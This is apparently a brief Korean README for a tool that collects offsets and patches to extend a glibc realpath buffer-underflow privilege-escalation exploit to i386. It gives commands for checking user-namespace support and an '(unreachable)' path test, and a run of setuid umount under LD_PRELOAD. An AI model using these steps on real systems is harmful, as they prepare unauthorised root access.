
i386 지원을 위한 오프셋을 가져오고 패치를 추가하는 도구
$ cat /proc/sys/kernel/unprivileged_userns_clone
출력:
1
"/proc/sys/kernel/unprivileged_userns_clone" 파일이 존재하지 않는 경우:
$ unshare -mU /bin/sh -c "sleep 5" & /bin/sh -c "sleep 1; cd /proc/$!/cwd; realpath .; kill -9 $!"
출력에는 '/' 앞에 "(unreachable)" 문자열이 포함되어야 합니다:
[1] 12345
(unreachable)/home/user
옵션은 환경 변수를 통해 전달됩니다:
TRACE_DEBUG=1 - Value for printing debug information (Default: 0)
STACK_SIZE=100 - Size output data of stack (Default: 100)
실행 방법:
$ make
$ cp /bin/umount .
$ LD_PRELOAD="$(realpath tool.so)" TRACE_DEBUG=1 STACK_SIZE=100 ./umount /root
https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/